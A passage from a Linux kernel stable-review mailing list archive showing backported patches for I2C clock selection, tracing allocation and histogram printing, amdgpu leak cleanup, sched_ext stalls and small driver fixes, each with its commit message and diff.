[ Upstream commit 8cb5c17be3a2fadc41075d04ce1c24c831546aaf ]
Currently, the source clock lookup prefers 32 MHz whenever that rate is
available, regardless of the rate configured by the platform. Before the
switch to looking up the clock index, the driver used the 32 MHz timing
table only if the current source clock rate was 32 MHz, and the 19.2 MHz
table otherwise.
On X1E80100 CRD, this results in switching the source clock from 19.2 MHz
to 32 MHz, which causes intermittent failures when probing the I2C HID
keyboard. These range from corrupted HID descriptors to failed resets
and transfer timeouts, which also affect the touchpad on the same bus.
Restore the original selection policy: use 32 MHz if already selected,
otherwise request 19.2 MHz. Look up the index for the selected rate and
keep the check that rejects higher-frequency multiples. This retains
the dynamic clock index lookup without preferring 32 MHz on platforms
that previously used 19.2 MHz. Report the requested rate if the lookup
fails.
Fixes: cb97bf3d4f91 ("i2c: qcom-geni: Fix hardcoded clock index in SE_GENI_CLK_SEL")
Assisted-by: LLM
Signed-off-by: Abel Vesa <abel.vesa@oss.qualcomm.com>
Tested-by: Hasty Heat <hastyheat@gmail.com>
Tested-by: Mitchell Augustin <mitchell.augustin@canonical.com>
Reviewed-by: Mitchell Augustin <mitchell.augustin@canonical.com>
Signed-off-by: Andi Shyti <andi.shyti@kernel.org>
Link: https://patch.msgid.link/20260928-b4-i2c-qcom-geni-preserve-source-clock-v1-1-9aded7552a76@oss.qualcomm.com
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/i2c/busses/i2c-qcom-geni.c | 37 ++++++++++++++++--------------
1 file changed, 20 insertions(+), 17 deletions(-)
diff --git a/drivers/i2c/busses/i2c-qcom-geni.c b/drivers/i2c/busses/i2c-qcom-geni.c
index de5bc4b8a3a52..4c9a8f8f127aa 100644
--- a/drivers/i2c/busses/i2c-qcom-geni.c
+++ b/drivers/i2c/busses/i2c-qcom-geni.c
@@ -188,28 +188,31 @@ static const struct geni_i2c_clk_fld geni_i2c_clk_map_32mhz[] = {
static int geni_i2c_clk_map_idx(struct geni_i2c_dev *gi2c)
{
const struct geni_i2c_clk_fld *itr;
- unsigned long res_freq;
+ unsigned long req_freq, res_freq;
+ int ret;
/*
- * Frequency counter tables are calibrated for a specific source
- * clock frequency and are not valid for any multiple of it
- * (e.g. 64 MHz, 128 MHz).
- * Use exact=true and verify res_freq matches req_freq literally
- * to reject harmonics: a 64 MHz clock that divides evenly to
- * 32 MHz would pass exact matching but produce double the intended
- * I2C frequency with these counter values.
+ * Use 32 MHz only if already selected, otherwise use 19.2 MHz.
+ * Preferring 32 MHz merely because DFS supports it breaks I2C
+ * transfers on X1E80100 CRD.
*/
- if (!geni_se_clk_freq_match(&gi2c->se, GENI_SE_CLK_32MHZ,
- &gi2c->clk_idx, &res_freq, true) &&
- res_freq == GENI_SE_CLK_32MHZ) {
+ if (clk_get_rate(gi2c->se.clk) == GENI_SE_CLK_32MHZ) {
+ req_freq = GENI_SE_CLK_32MHZ;
itr = geni_i2c_clk_map_32mhz;
- } else if (!geni_se_clk_freq_match(&gi2c->se, GENI_SE_CLK_19P2MHZ,
- &gi2c->clk_idx, &res_freq, true) &&
- res_freq == GENI_SE_CLK_19P2MHZ) {
- itr = geni_i2c_clk_map_19p2mhz;
} else {
- dev_err(gi2c->se.dev,
- "Unsupported SE source clock: must be exactly 32 MHz or 19.2 MHz\n");
+ req_freq = GENI_SE_CLK_19P2MHZ;
+ itr = geni_i2c_clk_map_19p2mhz;
+ }
+
+ ret = geni_se_clk_freq_match(&gi2c->se, req_freq, &gi2c->clk_idx,
+ &res_freq, true);
+ if (ret)
+ return dev_err_probe(gi2c->se.dev, ret,
+ "Failed to find SE source clock %lu Hz\n",
+ req_freq);
+ if (res_freq != req_freq) {
+ dev_err(gi2c->se.dev, "Unsupported SE source clock %lu Hz\n",
+ res_freq);
return -EINVAL;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 168/193] tracing: Keep the predicate limit separate from program capacity
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (166 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 167/193] tracing: Fix ignored return value of resize_buffer_duplicate_size() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 169/193] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
` (35 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Taeyang Lee, Steven Rostedt,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Taeyang Lee <0wn@theori.io>
[ Upstream commit 803aa6fc2dbea25ab9d3ed19eca1c96d0ab17445 ]
predicate_parse() adds two to nr_preds to reserve the terminal TRUE
and FALSE entries. It also uses that increased value as the limit for
parsed predicates. If the initial count is smaller than the number
actually parsed, the program can fill the allocation and subsequent
accesses can go past its end.
Keep nr_preds as the predicate limit and use a separate value for the
allocation size. This leaves space for both terminal entries and a
zeroed entry when parsing stops at the limit.
Cc: stable@vger.kernel.org
Fixes: 39f7c41c908b ("tracing/filters: Enable filtering a cpumask field by another cpumask")
Link: https://patch.msgid.link/atELCd1XjKVhrkFL@Taeyangs-MacBook-Pro.local
Signed-off-by: Taeyang Lee <0wn@theori.io>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
[ sashal: Adapted the kzalloc_objs() allocation to the existing kcalloc() call. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_filter.c | 7 +++----
1 file changed, 3 insertions(+), 4 deletions(-)
--- a/kernel/trace/trace_events_filter.c
+++ b/kernel/trace/trace_events_filter.c
@@ -482,18 +482,17 @@ predicate_parse(const char *str, int nr_
int len;
int N = 0;
int i;
-
- nr_preds += 2; /* For TRUE and FALSE */
+ int nr_preds_alloc = nr_preds + 2; /* For TRUE and FALSE */
op_stack = kmalloc_array(nr_parens, sizeof(*op_stack), GFP_KERNEL);
if (!op_stack)
return ERR_PTR(-ENOMEM);
- prog_stack = kcalloc(nr_preds, sizeof(*prog_stack), GFP_KERNEL);
+ prog_stack = kcalloc(nr_preds_alloc, sizeof(*prog_stack), GFP_KERNEL);
if (!prog_stack) {
parse_error(pe, -ENOMEM, 0);
goto out_free;
}
- inverts = kmalloc_array(nr_preds, sizeof(*inverts), GFP_KERNEL);
+ inverts = kmalloc_array(nr_preds_alloc, sizeof(*inverts), GFP_KERNEL);
if (!inverts) {
parse_error(pe, -ENOMEM, 0);
goto out_free;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 003/242] soc/tegra: fuse: Add missing newline to APBMISC error message
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 001/242] ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 002/242] i2c: qcom-geni: Restore the source-clock selection policy Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 004/242] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
` (238 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jinhui Guo, Thierry Reding,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jinhui Guo <guojinhui.liam@bytedance.com>
[ Upstream commit 2f4a0fb66d313f03832f061bc3ec25b33c8198c9 ]
The error message printed by tegra_acpi_init_apbmisc() when failing to
get APBMISC memory resources is missing a trailing newline. This can
cause the message to be merged with the following kernel log line, making
the log harder to read.
Add the missing newline to keep the error output properly formatted.
Fixes: 7b0c505eb341 ("soc/tegra: fuse: Add tegra_acpi_init_apbmisc()")
Signed-off-by: Jinhui Guo <guojinhui.liam@bytedance.com>
Signed-off-by: Thierry Reding <treding@nvidia.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/soc/tegra/fuse/tegra-apbmisc.c b/drivers/soc/tegra/fuse/tegra-apbmisc.c
index 6af69ccaa295c..f86c88fab1686 100644
--- a/drivers/soc/tegra/fuse/tegra-apbmisc.c
+++ b/drivers/soc/tegra/fuse/tegra-apbmisc.c
@@ -309,7 +309,7 @@ void tegra_acpi_init_apbmisc(void)
ret = acpi_dev_get_memory_resources(adev, &resource_list);
if (ret < 0) {
- pr_err("failed to get APBMISC memory resources");
+ pr_err("failed to get APBMISC memory resources\n");
goto out_put_acpi_dev;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 169/193] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (167 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 168/193] tracing: Keep the predicate limit separate from program capacity Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 170/193] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
` (34 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Jesse Zhang,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
[ Upstream commit 1b4da805a0ba354a549ce07459c871c17dd94fe0 ]
amdgpu_cs_parser_bos() allocates an HMM range for every userptr entry of
the BO list and looks up the user pages. Those ranges are only freed when
amdgpu_cs_parser_bos() itself fails or when amdgpu_cs_submit() checks
them under the notifier lock. If amdgpu_cs_patch_jobs(),
amdgpu_cs_vm_handling(), amdgpu_cs_sync_rings() or the early part of
amdgpu_cs_submit() fails, nothing frees them: neither
amdgpu_cs_parser_fini() nor amdgpu_bo_list_free() touch e->range.
Each such CS then leaks the range, its hmm_pfns array (8 bytes per page
of the userptr BO) and the BO reference the range holds. An IB on a ring
that patches the CS in place (e.g. VCN) with an unmapped va_start fails
in amdgpu_cs_patch_ibs() and takes this path.
Free the ranges on those error paths. Ranges amdgpu_cs_submit() already
dropped are NULL, so freeing them again is a no-op.
Fixes: fec8fdb54e8f ("drm/amdgpu: fix userptr HMM range handling v2")
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit c52a9542ed7cfd527feb938bd0accada2ac8d267)
Cc: stable@vger.kernel.org
[ sashal: Adapted cleanup to the existing error_backoff path using amdgpu_ttm_tt_get_user_pages_done() before the mutex unlock. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 6 ++++++
1 file changed, 6 insertions(+)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
@@ -1448,6 +1448,7 @@ static void amdgpu_cs_parser_fini(struct
int amdgpu_cs_ioctl(struct drm_device *dev, void *data, struct drm_file *filp)
{
struct amdgpu_device *adev = drm_to_adev(dev);
+ struct amdgpu_bo_list_entry *e;
struct amdgpu_cs_parser parser;
int r;
@@ -1502,6 +1503,11 @@ int amdgpu_cs_ioctl(struct drm_device *d
return 0;
error_backoff:
+ /* amdgpu_cs_submit() only drops the ranges once it got that far. */
+ amdgpu_bo_list_for_each_userptr_entry(e, parser.bo_list) {
+ amdgpu_ttm_tt_get_user_pages_done(e->bo->tbo.ttm, e->range);
+ e->range = NULL;
+ }
mutex_unlock(&parser.bo_list->bo_list_mutex);
error_fini:
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 004/242] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (2 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 003/242] soc/tegra: fuse: Add missing newline to APBMISC error message Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 005/242] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
` (237 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, David Oberhollenzer,
Kevin Hilman (TI), Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
[ Upstream commit 2fabd2f406d0cf787be47b3bbeea99b30004033d ]
Commit d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant
clock divider definition") removes the clock divider definition
from optfclk_pciephy_div, reasoning that the table is redundant,
as it contains the values 1 and 2, while also setting ti,max-div
to 2 while ti,min-div is implicitly initialized to 1.
What that commit missed was the fact that the values in the table
are in reverse order, i.e. first 2, then 1.
As is clearly described in the documentation, the ordering is
signifficant, the actual values for the register setting are
derived from the index. If no table is specified, the driver
assumes that the register value is divider - 1 (see also `_get_val`
in `drivers/clk/ti/divider.c`).
What is in fact redundant is the value of ti,max-div that is
derived from the table if none is specified. To satisfy device
tree semantic linters, it is removed instead.
Fixes: d0bdd8bb7f35 ("ARM: dts: ti/omap: dra7: fix redundant clock divider definition")
Signed-off-by: David Oberhollenzer <david.oberhollenzer@sigma-star.at>
Link: https://patch.msgid.link/20260716113947.92513-1-david.oberhollenzer@sigma-star.at
Signed-off-by: Kevin Hilman (TI) <khilman@baylibre.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi b/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
index 0de16ee262cf4..615a8fb477761 100644
--- a/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
+++ b/arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi
@@ -1376,8 +1376,8 @@ optfclk_pciephy_div: clock-optfclk-pciephy-div-8@4a00821c {
clocks = <&apll_pcie_ck>;
#clock-cells = <0>;
reg = <0x021c>;
+ ti,dividers = <2>, <1>;
ti,bit-shift = <8>;
- ti,max-div = <2>;
};
apll_pcie_clkvcoldo: clock-apll-pcie-clkvcoldo {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 170/193] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (168 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 169/193] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 171/193] tracing: Fix fully-qualified variable reference printing in histograms Greg Kroah-Hartman
` (33 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xiangyu Bu, Tejun Heo,
Dan Schatzberg, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
[ Upstream commit 7a9df76679633cf26e0fea882a684012c6ec245a ]
With SCX_OPS_ENQ_LAST, the last runnable task on a CPU is passed to
ops.enqueue() instead of being kept running. Exiting tasks without
SCX_OPS_ENQ_EXITING, migration disabled tasks without
SCX_OPS_ENQ_MIGRATION_DISABLED and tasks on an offline rq skip ops.enqueue()
and go straight to the local DSQ. This happens in put_prev_task_scx() after
the pick has settled on idle, so nothing reschedules the CPU, which idles
with the task queued until an unrelated wakeup lands on it or the watchdog
fires.
scx_mitosis, which sets SCX_OPS_ENQ_LAST without SCX_OPS_ENQ_EXITING, hit
this during mass cgroup teardown: exiting tasks stuck in exit_mmap() for
over 40 seconds.
A task put on the local DSQ runs, as anywhere else. If the SCX_ENQ_LAST
enqueue left the task on this CPU's local DSQ, set need_resched on the task
being switched in, as proxy_resched_idle() does. resched_curr() would flag
the task being put instead, and __schedule() clears that right after the
pick.
Fixes: f0e1a0643a59 ("sched_ext: Implement BPF extensible scheduler class")
Cc: stable@vger.kernel.org # v6.12+
Reported-by: Xiangyu Bu <xbu@meta.com>
Link: https://github.com/sched-ext/scx/pull/3870
Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Dan Schatzberg <schatzberg.dan@gmail.com>
[ sashal: adjusted context for do_enqueue_task() in the existing sched_ext file layout. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext.c | 13 +++++++++++--
kernel/sched/ext_internal.h | 5 +++--
2 files changed, 14 insertions(+), 4 deletions(-)
--- a/kernel/sched/ext.c
+++ b/kernel/sched/ext.c
@@ -2409,8 +2409,7 @@ static void put_prev_task_scx(struct rq
/*
* If @p is runnable but we're about to enter a lower
* sched_class, %SCX_OPS_ENQ_LAST must be set. Tell
- * ops.enqueue() that @p is the only one available for this cpu,
- * which should trigger an explicit follow-up scheduling event.
+ * ops.enqueue() that @p is the only one available for this cpu.
*
* Core scheduling can force this CPU idle while @p stays
* runnable. @p's cookie then won't match the core's, so skip
@@ -2420,6 +2419,16 @@ static void put_prev_task_scx(struct rq
WARN_ON_ONCE(sched_cpu_cookie_match(rq, p) &&
!(sch->ops.flags & SCX_OPS_ENQ_LAST));
do_enqueue_task(rq, p, SCX_ENQ_LAST, -1);
+
+ /*
+ * A task put on the local DSQ runs, as anywhere else.
+ * Here the insert can't reschedule on its own: the pick
+ * has settled on @next and @p is still curr, so
+ * resched_curr() would flag @p and __schedule() clears
+ * that right after the pick. Flag @next instead.
+ */
+ if (p->scx.dsq == &rq->scx.local_dsq)
+ set_tsk_need_resched(next);
} else {
do_enqueue_task(rq, p, 0, -1);
}
--- a/kernel/sched/ext_internal.h
+++ b/kernel/sched/ext_internal.h
@@ -949,8 +949,9 @@ enum scx_enq_flags {
* %SCX_OPS_ENQ_LAST is specified, they're ops.enqueue()'d with the
* %SCX_ENQ_LAST flag set.
*
- * The BPF scheduler is responsible for triggering a follow-up
- * scheduling event. Otherwise, Execution may stall.
+ * If the task is queued on the local DSQ of the CPU it was running on,
+ * it continues to run. Otherwise, the CPU goes idle. A scheduler that
+ * wants a full dispatch cycle on the CPU should kick it.
*/
SCX_ENQ_LAST = 1LLU << 41,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 005/242] power: supply: Fix maintenance charge table kernel-doc
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (3 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 004/242] ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 006/242] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value Greg Kroah-Hartman
` (236 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Karl Mehltretter, Sebastian Reichel,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Karl Mehltretter <kmehltretter@gmail.com>
[ Upstream commit 45d4af4e80a25881b6b75e8e34872c555c43a41d ]
struct power_supply_maintenance_charge_table contains
charge_safety_timer_minutes, but its kernel-doc describes
safety_timer_minutes. This leaves the real member undescribed and adds a
nonexistent member to the generated documentation.
Use the member's actual name.
Fixes: d72ce7d32478 ("power: supply: ab8500: Standardize maintenance charging")
Assisted-by: LLM
Signed-off-by: Karl Mehltretter <kmehltretter@gmail.com>
Link: https://patch.msgid.link/20260909064623.90737-1-kmehltretter@gmail.com
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/power_supply.h | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/include/linux/power_supply.h b/include/linux/power_supply.h
index 7a5e4c3242a01..b85fd02409c67 100644
--- a/include/linux/power_supply.h
+++ b/include/linux/power_supply.h
@@ -400,9 +400,9 @@ struct power_supply_vbat_ri_table {
* @charge_voltage_max_uv: maintenance charging voltage that is usually a bit
* lower than the constant_charge_voltage_max_uv. We can apply this settings
* charge_current_max_ua until we get back up to this voltage.
- * @safety_timer_minutes: maintenance charging safety timer, with an expiry
- * time in minutes. We will only use maintenance charging in this setting
- * for a certain amount of time, then we will first move to the next
+ * @charge_safety_timer_minutes: maintenance charging safety timer, with an
+ * expiry time in minutes. We will only use maintenance charging in this
+ * setting for a certain amount of time, then we will first move to the next
* maintenance charge current and voltage pair in respective array and wait
* for the next safety timer timeout, or, if we reached the last maintencance
* charging setting, disable charging until we reach
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 171/193] tracing: Fix fully-qualified variable reference printing in histograms
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (169 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 170/193] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 172/193] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
` (32 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Tom Zanussi, Steven Rostedt (Google),
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tom Zanussi <zanussi@kernel.org>
[ Upstream commit 9236eebd138aa2753f7b30fc6cee7b7202841247 ]
The syntax for fully-qualified variable references in histograms is
subsys.event.$var, which is parsed correctly, but not displayed correctly
when printing a histogram spec. The current code puts the $ reference at
the beginning of the fully-qualified variable name i.e. $subsys.event.var,
which is incorrect.
Before:
trigger info: hist:keys=next_comm:vals=hitcount:wakeup_lat=common_timestamp.usecs-$sched.sched_wakeup.ts0: ...
After:
trigger info: hist:keys=next_comm:vals=hitcount:wakeup_lat=common_timestamp.usecs-sched.sched_wakeup.$ts0: ...
Link: https://patch.msgid.link/5dee9a86d062a4dd68c2214f3d90ac93811e1951.1776112478.git.zanussi@kernel.org
Signed-off-by: Tom Zanussi <zanussi@kernel.org>
Signed-off-by: Steven Rostedt (Google) <rostedt@goodmis.org>
Stable-dep-of: a0777b9e5315 ("tracing: Fix NULL dereference when copying keys for a field variable")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 15 ++++++++++-----
1 file changed, 10 insertions(+), 5 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -1355,9 +1355,12 @@ static const char *hist_field_name(struc
field->flags & HIST_FIELD_FL_VAR_REF) {
if (field->system) {
static char full_name[MAX_FILTER_STR_VAL];
+ static char *fmt;
int len;
- len = snprintf(full_name, sizeof(full_name), "%s.%s.%s",
+ fmt = field->flags & HIST_FIELD_FL_VAR_REF ? "%s.%s.$%s" : "%s.%s.%s";
+
+ len = snprintf(full_name, sizeof(full_name), fmt,
field->system, field->event_name,
field->name);
if (len < sizeof(full_name))
@@ -1734,9 +1737,10 @@ static const char *get_hist_field_flags(
static void expr_field_str(struct hist_field *field, char *expr)
{
- if (field->flags & HIST_FIELD_FL_VAR_REF)
- strcat(expr, "$");
- else if (field->flags & HIST_FIELD_FL_CONST) {
+ if (field->flags & HIST_FIELD_FL_VAR_REF) {
+ if (!field->system)
+ strcat(expr, "$");
+ } else if (field->flags & HIST_FIELD_FL_CONST) {
char str[HIST_CONST_DIGITS_MAX];
snprintf(str, HIST_CONST_DIGITS_MAX, "%llu", field->constant);
@@ -6167,7 +6171,8 @@ static void hist_field_print(struct seq_
else if (field_name) {
if (hist_field->flags & HIST_FIELD_FL_VAR_REF ||
hist_field->flags & HIST_FIELD_FL_ALIAS)
- seq_putc(m, '$');
+ if (!hist_field->system)
+ seq_putc(m, '$');
seq_printf(m, "%s", field_name);
} else if (hist_field->flags & HIST_FIELD_FL_TIMESTAMP)
seq_puts(m, "common_timestamp");
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 006/242] power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (4 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 005/242] power: supply: Fix maintenance charge table kernel-doc Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 007/242] soc/tegra: pmc: Fix uninitialised clock rate Greg Kroah-Hartman
` (235 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xueqin Luo, Sebastian Reichel,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Xueqin Luo <luoxueqin@kylinos.cn>
[ Upstream commit a58cbc8b36ec0cd00d2ba3de7d003de818a27523 ]
ds2780_get_capacity() returns the raw register value instead of 0 on
success. The capacity is already stored in *capacity, so the function
should return 0 to indicate success.
Fixes: 275ac74629c4 ("w1: add Maxim/Dallas DS2780 Stand-Alone Fuel Gauge IC support")
Signed-off-by: Xueqin Luo <luoxueqin@kylinos.cn>
Link: https://patch.msgid.link/20260901072954.1953121-1-luoxueqin@kylinos.cn
Signed-off-by: Sebastian Reichel <sebastian.reichel@collabora.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/power/supply/ds2780_battery.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/power/supply/ds2780_battery.c b/drivers/power/supply/ds2780_battery.c
index 5b57bbba79d44..ef2446386c2af 100644
--- a/drivers/power/supply/ds2780_battery.c
+++ b/drivers/power/supply/ds2780_battery.c
@@ -304,7 +304,7 @@ static int ds2780_get_capacity(struct ds2780_device_info *dev_info,
return ret;
*capacity = raw;
- return raw;
+ return 0;
}
static int ds2780_get_status(struct ds2780_device_info *dev_info, int *status)
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 172/193] tracing: Use __free() for expr_str() buffer
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (170 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 171/193] tracing: Fix fully-qualified variable reference printing in histograms Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 173/193] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
` (31 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pengpeng Hou, Steven Rostedt,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <pengpeng@iscas.ac.cn>
[ Upstream commit 988995c0552b6213b6bf16cea57258d4842c1488 ]
expr_str() allocates a temporary expression buffer and manually frees it
on some error paths.
Convert the buffer to __free(kfree) and return it with return_ptr() on
success. This keeps ownership handling separate from the later ERR_PTR()
conversion and string-bound change.
Link: https://patch.msgid.link/20260611055945.22348-2-pengpeng@iscas.ac.cn
Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Stable-dep-of: a0777b9e5315 ("tracing: Fix NULL dereference when copying keys for a field variable")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 14 ++++++--------
1 file changed, 6 insertions(+), 8 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -1761,7 +1761,7 @@ static void expr_field_str(struct hist_f
static char *expr_str(struct hist_field *field, unsigned int level)
{
- char *expr;
+ char *expr __free(kfree) = NULL;
if (level > 1)
return NULL;
@@ -1772,7 +1772,7 @@ static char *expr_str(struct hist_field
